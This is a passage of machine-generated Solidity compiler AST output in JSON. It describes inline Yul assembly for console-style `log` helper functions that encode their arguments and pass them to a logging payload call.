ype":"YulIdentifier","src":"360636:6:22"},"nativeSrc":"360636:18:22","nodeType":"YulFunctionCall","src":"360636:18:22"},"nativeSrc":"360636:18:22","nodeType":"YulExpressionStatement","src":"360636:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"360674:4:22","nodeType":"YulLiteral","src":"360674:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"360680:2:22","nodeType":"YulIdentifier","src":"360680:2:22"}],"functionName":{"name":"mstore","nativeSrc":"360667:6:22","nodeType":"YulIdentifier","src":"360667:6:22"},"nativeSrc":"360667:16:22","nodeType":"YulFunctionCall","src":"360667:16:22"},"nativeSrc":"360667:16:22","nodeType":"YulExpressionStatement","src":"360667:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"360703:4:22","nodeType":"YulLiteral","src":"360703:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"360709:2:22","nodeType":"YulIdentifier","src":"360709:2:22"}],"functionName":{"name":"mstore","nativeSrc":"360696:6:22","nodeType":"YulIdentifier","src":"360696:6:22"},"nativeSrc":"360696:16:22","nodeType":"YulFunctionCall","src":"360696:16:22"},"nativeSrc":"360696:16:22","nodeType":"YulExpressionStatement","src":"360696:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"360732:4:22","nodeType":"YulLiteral","src":"360732:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"360738:2:22","nodeType":"YulIdentifier","src":"360738:2:22"}],"functionName":{"name":"mstore","nativeSrc":"360725:6:22","nodeType":"YulIdentifier","src":"360725:6:22"},"nativeSrc":"360725:16:22","nodeType":"YulFunctionCall","src":"360725:16:22"},"nativeSrc":"360725:16:22","nodeType":"YulExpressionStatement","src":"360725:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"360766:4:22","nodeType":"YulLiteral","src":"360766:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"360772:2:22","nodeType":"YulIdentifier","src":"360772:2:22"}],"functionName":{"name":"writeString","nativeSrc":"360754:11:22","nodeType":"YulIdentifier","src":"360754:11:22"},"nativeSrc":"360754:21:22","nodeType":"YulFunctionCall","src":"360754:21:22"},"nativeSrc":"360754:21:22","nodeType":"YulExpressionStatement","src":"360754:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45458,"isOffset":false,"isSlot":false,"src":"360323:2:22","valueSize":1},{"declaration":45461,"isOffset":false,"isSlot":false,"src":"360353:2:22","valueSize":1},{"declaration":45464,"isOffset":false,"isSlot":false,"src":"360383:2:22","valueSize":1},{"declaration":45467,"isOffset":false,"isSlot":false,"src":"360413:2:22","valueSize":1},{"declaration":45470,"isOffset":false,"isSlot":false,"src":"360443:2:22","valueSize":1},{"declaration":45473,"isOffset":false,"isSlot":false,"src":"360473:2:22","valueSize":1},{"declaration":45476,"isOffset":false,"isSlot":false,"src":"360503:2:22","valueSize":1},{"declaration":45448,"isOffset":false,"isSlot":false,"src":"360772:2:22","valueSize":1},{"declaration":45450,"isOffset":false,"isSlot":false,"src":"360680:2:22","valueSize":1},{"declaration":45452,"isOffset":false,"isSlot":false,"src":"360709:2:22","valueSize":1},{"declaration":45454,"isOffset":false,"isSlot":false,"src":"360738:2:22","valueSize":1}],"id":45478,"nodeType":"InlineAssembly","src":"359945:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45480,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"360810:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":45481,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"360816:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":45479,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"360794:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":45482,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"360794:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45483,"nodeType":"ExpressionStatement","src":"360794:27:22"},{"AST":{"nativeSrc":"360840:214:22","nodeType":"YulBlock","src":"360840:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"360861:4:22","nodeType":"YulLiteral","src":"360861:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"360867:2:22","nodeType":"YulIdentifier","src":"360867:2:22"}],"functionName":{"name":"mstore","nativeSrc":"360854:6:22","nodeType":"YulIdentifier","src":"360854:6:22"},"nativeSrc":"360854:16:22","nodeType":"YulFunctionCall","src":"360854:16:22"},"nativeSrc":"360854:16:22","nodeType":"YulExpressionStatement","src":"360854:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"360890:4:22","nodeType":"YulLiteral","src":"360890:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"360896:2:22","nodeType":"YulIdentifier","src":"360896:2:22"}],"functionName":{"name":"mstore","nativeSrc":"360883:6:22","nodeType":"YulIdentifier","src":"360883:6:22"},"nativeSrc":"360883:16:22","nodeType":"YulFunctionCall","src":"360883:16:22"},"nativeSrc":"360883:16:22","nodeType":"YulExpressionStatement","src":"360883:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"360919:4:22","nodeType":"YulLiteral","src":"360919:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"360925:2:22","nodeType":"YulIdentifier","src":"360925:2:22"}],"functionName":{"name":"mstore","nativeSrc":"360912:6:22","nodeType":"YulIdentifier","src":"360912:6:22"},"nativeSrc":"360912:16:22","nodeType":"YulFunctionCall","src":"360912:16:22"},"nativeSrc":"360912:16:22","nodeType":"YulExpressionStatement","src":"360912:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"360948:4:22","nodeType":"YulLiteral","src":"360948:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"360954:2:22","nodeType":"YulIdentifier","src":"360954:2:22"}],"functionName":{"name":"mstore","nativeSrc":"360941:6:22","nodeType":"YulIdentifier","src":"360941:6:22"},"nativeSrc":"360941:16:22","nodeType":"YulFunctionCall","src":"360941:16:22"},"nativeSrc":"360941:16:22","nodeType":"YulExpressionStatement","src":"360941:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"360977:4:22","nodeType":"YulLiteral","src":"360977:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"360983:2:22","nodeType":"YulIdentifier","src":"360983:2:22"}],"functionName":{"name":"mstore","nativeSrc":"360970:6:22","nodeType":"YulIdentifier","src":"360970:6:22"},"nativeSrc":"360970:16:22","nodeType":"YulFunctionCall","src":"360970:16:22"},"nativeSrc":"360970:16:22","nodeType":"YulExpressionStatement","src":"360970:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"361006:4:22","nodeType":"YulLiteral","src":"361006:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"361012:2:22","nodeType":"YulIdentifier","src":"361012:2:22"}],"functionName":{"name":"mstore","nativeSrc":"360999:6:22","nodeType":"YulIdentifier","src":"360999:6:22"},"nativeSrc":"360999:16:22","nodeType":"YulFunctionCall","src":"360999:16:22"},"nativeSrc":"360999:16:22","nodeType":"YulExpressionStatement","src":"360999:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"361035:4:22","nodeType":"YulLiteral","src":"361035:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"361041:2:22","nodeType":"YulIdentifier","src":"361041:2:22"}],"functionName":{"name":"mstore","nativeSrc":"361028:6:22","nodeType":"YulIdentifier","src":"361028:6:22"},"nativeSrc":"361028:16:22","nodeType":"YulFunctionCall","src":"361028:16:22"},"nativeSrc":"361028:16:22","nodeType":"YulExpressionStatement","src":"361028:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45458,"isOffset":false,"isSlot":false,"src":"360867:2:22","valueSize":1},{"declaration":45461,"isOffset":false,"isSlot":false,"src":"360896:2:22","valueSize":1},{"declaration":45464,"isOffset":false,"isSlot":false,"src":"360925:2:22","valueSize":1},{"declaration":45467,"isOffset":false,"isSlot":false,"src":"360954:2:22","valueSize":1},{"declaration":45470,"isOffset":false,"isSlot":false,"src":"360983:2:22","valueSize":1},{"declaration":45473,"isOffset":false,"isSlot":false,"src":"361012:2:22","valueSize":1},{"declaration":45476,"isOffset":false,"isSlot":false,"src":"361041:2:22","valueSize":1}],"id":45484,"nodeType":"InlineAssembly","src":"360831:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"359729:3:22","parameters":{"id":45455,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45448,"mutability":"mutable","name":"p0","nameLocation":"359741:2:22","nodeType":"VariableDeclaration","scope":45486,"src":"359733:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45447,"name":"bytes32","nodeType":"ElementaryTypeName","src":"359733:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45450,"mutability":"mutable","name":"p1","nameLocation":"359753:2:22","nodeType":"VariableDeclaration","scope":45486,"src":"359745:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45449,"name":"uint256","nodeType":"ElementaryTypeName","src":"359745:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45452,"mutability":"mutable","name":"p2","nameLocation":"359765:2:22","nodeType":"VariableDeclaration","scope":45486,"src":"359757:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45451,"name":"uint256","nodeType":"ElementaryTypeName","src":"359757:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45454,"mutability":"mutable","name":"p3","nameLocation":"359777:2:22","nodeType":"VariableDeclaration","scope":45486,"src":"359769:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":45453,"name":"address","nodeType":"ElementaryTypeName","src":"359769:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"359732:48:22"},"returnParameters":{"id":45456,"nodeType":"ParameterList","parameters":[],"src":"359795:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45526,"nodeType":"FunctionDefinition","src":"361066:1334:22","nodes":[],"body":{"id":45525,"nodeType":"Block","src":"361138:1262:22","nodes":[],"statements":[{"assignments":[45498],"declarations":[{"constant":false,"id":45498,"mutability":"mutable","name":"m0","nameLocation":"361156:2:22","nodeType":"VariableDeclaration","scope":45525,"src":"361148:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45497,"name":"bytes32","nodeType":"ElementaryTypeName","src":"361148:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45499,"nodeType":"VariableDeclarationStatement","src":"361148:10:22"},{"assignments":[45501],"declarations":[{"constant":false,"id":45501,"mutability":"mutable","name":"m1","nameLocation":"361176:2:22","nodeType":"VariableDeclaration","scope":45525,"src":"361168:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45500,"name":"bytes32","nodeType":"ElementaryTypeName","src":"361168:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45502,"nodeType":"VariableDeclarationStatement","src":"361168:10:22"},{"assignments":[45504],"declarations":[{"constant":false,"id":45504,"mutability":"mutable","name":"m2","nameLocation":"361196:2:22","nodeType":"VariableDeclaration","scope":45525,"src":"361188:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45503,"name":"bytes32","nodeType":"ElementaryTypeName","src":"361188:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45505,"nodeType":"VariableDeclarationStatement","src":"361188:10:22"},{"assignments":[45507],"declarations":[{"constant":false,"id":45507,"mutability":"mutable","name":"m3","nameLocation":"361216:2:22","nodeType":"VariableDeclaration","scope":45525,"src":"361208:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45506,"name":"bytes32","nodeType":"ElementaryTypeName","src":"361208:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45508,"nodeType":"VariableDeclarationStatement","src":"361208:10:22"},{"assignments":[45510],"declarations":[{"constant":false,"id":45510,"mutability":"mutable","name":"m4","nameLocation":"361236:2:22","nodeType":"VariableDeclaration","scope":45525,"src":"361228:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45509,"name":"bytes32","nodeType":"ElementaryTypeName","src":"361228:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45511,"nodeType":"VariableDeclarationStatement","src":"361228:10:22"},{"assignments":[45513],"declarations":[{"constant":false,"id":45513,"mutability":"mutable","name":"m5","nameLocation":"361256:2:22","nodeType":"VariableDeclaration","scope":45525,"src":"361248:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45512,"name":"bytes32","nodeType":"ElementaryTypeName","src":"361248:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45514,"nodeType":"VariableDeclarationStatement","src":"361248:10:22"},{"assignments":[45516],"declarations":[{"constant":false,"id":45516,"mutability":"mutable","name":"m6","nameLocation":"361276:2:22","nodeType":"VariableDeclaration","scope":45525,"src":"361268:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45515,"name":"bytes32","nodeType":"ElementaryTypeName","src":"361268:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45517,"nodeType":"VariableDeclarationStatement","src":"361268:10:22"},{"AST":{"nativeSrc":"361297:828:22","nodeType":"YulBlock","src":"361297:828:22","statements":[{"body":{"nativeSrc":"361340:313:22","nodeType":"YulBlock","src":"361340:313:22","statements":[{"nativeSrc":"361358:15:22","nodeType":"YulVariableDeclaration","src":"361358:15:22","value":{"kind":"number","nativeSrc":"361372:1:22","nodeType":"YulLiteral","src":"361372:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"361362:6:22","nodeType":"YulTypedName","src":"361362:6:22","type":""}]},{"body":{"nativeSrc":"361443:40:22","nodeType":"YulBlock","src":"361443:40:22","statements":[{"body":{"nativeSrc":"361472:9:22","nodeType":"YulBlock","src":"361472:9:22","statements":[{"nativeSrc":"361474:5:22","nodeType":"YulBreak","src":"361474:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"361460:6:22","nodeType":"YulIdentifier","src":"361460:6:22"},{"name":"w","nativeSrc":"361468:1:22","nodeType":"YulIdentifier","src":"361468:1:22"}],"functionName":{"name":"byte","nativeSrc":"361455:4:22","nodeType":"YulIdentifier","src":"361455:4:22"},"nativeSrc":"361455:15:22","nodeType":"YulFunctionCall","src":"361455:15:22"}],"functionName":{"name":"iszero","nativeSrc":"361448:6:22","nodeType":"YulIdentifier","src":"361448:6:22"},"nativeSrc":"361448:23:22","nodeType":"YulFunctionCall","src":"361448:23:22"},"nativeSrc":"361445:36:22","nodeType":"YulIf","src":"361445:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"361400:6:22","nodeType":"YulIdentifier","src":"361400:6:22"},{"kind":"number","nativeSrc":"361408:4:22","nodeType":"YulLiteral","src":"361408:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"361397:2:22","nodeType":"YulIdentifier","src":"361397:2:22"},"nativeSrc":"361397:16:22","nodeType":"YulFunctionCall","src":"361397:16:22"},"nativeSrc":"361390:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"361414:28:22","nodeType":"YulBlock","src":"361414:28:22","statements":[{"nativeSrc":"361416:24:22","nodeType":"YulAssignment","src":"361416:24:22","value":{"arguments":[{"name":"length","nativeSrc":"361430:6:22","nodeType":"YulIdentifier","src":"361430:6:22"},{"kind":"number","nativeSrc":"361438:1:22","nodeType":"YulLiteral","src":"361438:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"361426:3:22","nodeType":"YulIdentifier","src":"361426:3:22"},"nativeSrc":"361426:14:22","nodeType":"YulFunctionCall","src":"361426:14:22"},"variableNames":[{"name":"length","nativeSrc":"361416:6:22","nodeType":"YulIdentifier","src":"361416:6:22"}]}]},"pre":{"nativeSrc":"361394:2:22","nodeType":"YulBlock","src":"361394:2:22","statements":[]},"src":"361390:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"361507:3:22","nodeType":"YulIdentifier","src":"361507:3:22"},{"name":"length","nativeSrc":"361512:6:22","nodeType":"YulIdentifier","src":"361512:6:22"}],"functionName":{"name":"mstore","nativeSrc":"361500:6:22","nodeType":"YulIdentifier","src":"361500:6:22"},"nativeSrc":"361500:19:22","nodeType":"YulFunctionCall","src":"361500:19:22"},"nativeSrc":"361500:19:22","nodeType":"YulExpressionStatement","src":"361500:19:22"},{"nativeSrc":"361536:37:22","nodeType":"YulVariableDeclaration","src":"361536:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"361553:3:22","nodeType":"YulLiteral","src":"361553:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"361562:1:22","nodeType":"YulLiteral","src":"361562:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"361565:6:22","nodeType":"YulIdentifier","src":"361565:6:22"}],"functionName":{"name":"shl","nativeSrc":"361558:3:22","nodeType":"YulIdentifier","src":"361558:3:22"},"nativeSrc":"361558:14:22","nodeType":"YulFunctionCall","src":"361558:14:22"}],"functionName":{"name":"sub","nativeSrc":"361549:3:22","nodeType":"YulIdentifier","src":"361549:3:22"},"nativeSrc":"361549:24:22","nodeType":"YulFunctionCall","src":"361549:24:22"},"variables":[{"name":"shift","nativeSrc":"361540:5:22","nodeType":"YulTypedName","src":"361540:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"361601:3:22","nodeType":"YulIdentifier","src":"361601:3:22"},{"kind":"number","nativeSrc":"361606:4:22","nodeType":"YulLiteral","src":"361606:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"361597:3:22","nodeType":"YulIdentifier","src":"361597:3:22"},"nativeSrc":"361597:14:22","nodeType":"YulFunctionCall","src":"361597:14:22"},{"arguments":[{"name":"shift","nativeSrc":"361617:5:22","nodeType":"YulIdentifier","src":"361617:5:22"},{"arguments":[{"name":"shift","nativeSrc":"361628:5:22","nodeType":"YulIdentifier","src":"361628:5:22"},{"name":"w","nativeSrc":"361635:1:22","nodeType":"YulIdentifier","src":"361635:1:22"}],"functionName":{"name":"shr","nativeSrc":"361624:3:22","nodeType":"YulIdentifier","src":"361624:3:22"},"nativeSrc":"361624:13:22","nodeType":"YulFunctionCall","src":"361624:13:22"}],"functionName":{"name":"shl","nativeSrc":"361613:3:22","nodeType":"YulIdentifier","src":"361613:3:22"},"nativeSrc":"361613:25:22","nodeType":"YulFunctionCall","src":"361613:25:22"}],"functionName":{"name":"mstore","nativeSrc":"361590:6:22","nodeType":"YulIdentifier","src":"361590:6:22"},"nativeSrc":"361590:49:22","nodeType":"YulFunctionCall","src":"361590:49:22"},"nativeSrc":"361590:49:22","nodeType":"YulExpressionStatement","src":"361590:49:22"}]},"name":"writeString","nativeSrc":"361311:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"361332:3:22","nodeType":"YulTypedName","src":"361332:3:22","type":""},{"name":"w","nativeSrc":"361337:1:22","nodeType":"YulTypedName","src":"361337:1:22","type":""}],"src":"361311:342:22"},{"nativeSrc":"361666:17:22","nodeType":"YulAssignment","src":"361666:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"361678:4:22","nodeType":"YulLiteral","src":"361678:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"361672:5:22","nodeType":"YulIdentifier","src":"361672:5:22"},"nativeSrc":"361672:11:22","nodeType":"YulFunctionCall","src":"361672:11:22"},"variableNames":[{"name":"m0","nativeSrc":"361666:2:22","nodeType":"YulIdentifier","src":"361666:2:22"}]},{"nativeSrc":"361696:17:22","nodeType":"YulAssignment","src":"361696:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"361708:4:22","nodeType":"YulLiteral","src":"361708:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"361702:5:22","nodeType":"YulIdentifier","src":"361702:5:22"},"nativeSrc":"361702:11:22","nodeType":"YulFunctionCall","src":"361702:11:22"},"variableNames":[{"name":"m1","nativeSrc":"361696:2:22","nodeType":"YulIdentifier","src":"361696:2:22"}]},{"nativeSrc":"361726:17:22","nodeType":"YulAssignment","src":"361726:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"361738:4:22","nodeType":"YulLiteral","src":"361738:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"361732:5:22","nodeType":"YulIdentifier","src":"361732:5:22"},"nativeSrc":"361732:11:22","nodeType":"YulFunctionCall","src":"361732:11:22"},"variableNames":[{"name":"m2","nativeSrc":"361726:2:22","nodeType":"YulIdentifier","src":"361726:2:22"}]},{"nativeSrc":"361756:17:22","nodeType":"YulAssignment","src":"361756:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"361768:4:22","nodeType":"YulLiteral","src":"361768:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"361762:5:22","nodeType":"YulIdentifier","src":"361762:5:22"},"nativeSrc":"361762:11:22","nodeType":"YulFunctionCall","src":"361762:11:22"},"variableNames":[{"name":"m3","nativeSrc":"361756:2:22","nodeType":"YulIdentifier","src":"361756:2:22"}]},{"nativeSrc":"361786:17:22","nodeType":"YulAssignment","src":"361786:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"361798:4:22","nodeType":"YulLiteral","src":"361798:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"361792:5:22","nodeType":"YulIdentifier","src":"361792:5:22"},"nativeSrc":"361792:11:22","nodeType":"YulFunctionCall","src":"361792:11:22"},"variableNames":[{"name":"m4","nativeSrc":"361786:2:22","nodeType":"YulIdentifier","src":"361786:2:22"}]},{"nativeSrc":"361816:17:22","nodeType":"YulAssignment","src":"361816:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"361828:4:22","nodeType":"YulLiteral","src":"361828:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"361822:5:22","nodeType":"YulIdentifier","src":"361822:5:22"},"nativeSrc":"361822:11:22","nodeType":"YulFunctionCall","src":"361822:11:22"},"variableNames":[{"name":"m5","nativeSrc":"361816:2:22","nodeType":"YulIdentifier","src":"361816:2:22"}]},{"nativeSrc":"361846:17:22","nodeType":"YulAssignment","src":"361846:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"361858:4:22","nodeType":"YulLiteral","src":"361858:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"361852:5:22","nodeType":"YulIdentifier","src":"361852:5:22"},"nativeSrc":"361852:11:22","nodeType":"YulFunctionCall","src":"361852:11:22"},"variableNames":[{"name":"m6","nativeSrc":"361846:2:22","nodeType":"YulIdentifier","src":"361846:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"361946:4:22","nodeType":"YulLiteral","src":"361946:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"361952:10:22","nodeType":"YulLiteral","src":"361952:10:22","type":"","value":"0x7626db92"}],"functionName":{"name":"mstore","nativeSrc":"361939:6:22","nodeType":"YulIdentifier","src":"361939:6:22"},"nativeSrc":"361939:24:22","nodeType":"YulFunctionCall","src":"361939:24:22"},"nativeSrc":"361939:24:22","nodeType":"YulExpressionStatement","src":"361939:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"361983:4:22","nodeType":"YulLiteral","src":"361983:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"361989:4:22","nodeType":"YulLiteral","src":"361989:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"361976:6:22","nodeType":"YulIdentifier","src":"361976:6:22"},"nativeSrc":"361976:18:22","nodeType":"YulFunctionCall","src":"361976:18:22"},"nativeSrc":"361976:18:22","nodeType":"YulExpressionStatement","src":"361976:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"362014:4:22","nodeType":"YulLiteral","src":"362014:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"362020:2:22","nodeType":"YulIdentifier","src":"362020:2:22"}],"functionName":{"name":"mstore","nativeSrc":"362007:6:22","nodeType":"YulIdentifier","src":"362007:6:22"},"nativeSrc":"362007:16:22","nodeType":"YulFunctionCall","src":"362007:16:22"},"nativeSrc":"362007:16:22","nodeType":"YulExpressionStatement","src":"362007:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"362043:4:22","nodeType":"YulLiteral","src":"362043:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"362049:2:22","nodeType":"YulIdentifier","src":"362049:2:22"}],"functionName":{"name":"mstore","nativeSrc":"362036:6:22","nodeType":"YulIdentifier","src":"362036:6:22"},"nativeSrc":"362036:16:22","nodeType":"YulFunctionCall","src":"362036:16:22"},"nativeSrc":"362036:16:22","nodeType":"YulExpressionStatement","src":"362036:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"362072:4:22","nodeType":"YulLiteral","src":"362072:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"362078:2:22","nodeType":"YulIdentifier","src":"362078:2:22"}],"functionName":{"name":"mstore","nativeSrc":"362065:6:22","nodeType":"YulIdentifier","src":"362065:6:22"},"nativeSrc":"362065:16:22","nodeType":"YulFunctionCall","src":"362065:16:22"},"nativeSrc":"362065:16:22","nodeType":"YulExpressionStatement","src":"362065:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"362106:4:22","nodeType":"YulLiteral","src":"362106:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"362112:2:22","nodeType":"YulIdentifier","src":"362112:2:22"}],"functionName":{"name":"writeString","nativeSrc":"362094:11:22","nodeType":"YulIdentifier","src":"362094:11:22"},"nativeSrc":"362094:21:22","nodeType":"YulFunctionCall","src":"362094:21:22"},"nativeSrc":"362094:21:22","nodeType":"YulExpressionStatement","src":"362094:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45498,"isOffset":false,"isSlot":false,"src":"361666:2:22","valueSize":1},{"declaration":45501,"isOffset":false,"isSlot":false,"src":"361696:2:22","valueSize":1},{"declaration":45504,"isOffset":false,"isSlot":false,"src":"361726:2:22","valueSize":1},{"declaration":45507,"isOffset":false,"isSlot":false,"src":"361756:2:22","valueSize":1},{"declaration":45510,"isOffset":false,"isSlot":false,"src":"361786:2:22","valueSize":1},{"declaration":45513,"isOffset":false,"isSlot":false,"src":"361816:2:22","valueSize":1},{"declaration":45516,"isOffset":false,"isSlot":false,"src":"361846:2:22","valueSize":1},{"declaration":45488,"isOffset":false,"isSlot":false,"src":"362112:2:22","valueSize":1},{"declaration":45490,"isOffset":false,"isSlot":false,"src":"362020:2:22","valueSize":1},{"declaration":45492,"isOffset":false,"isSlot":false,"src":"362049:2:22","valueSize":1},{"declaration":45494,"isOffset":false,"isSlot":false,"src":"362078:2:22","valueSize":1}],"id":45518,"nodeType":"InlineAssembly","src":"361288:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45520,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"362150:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":45521,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"362156:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":45519,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"362134:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) 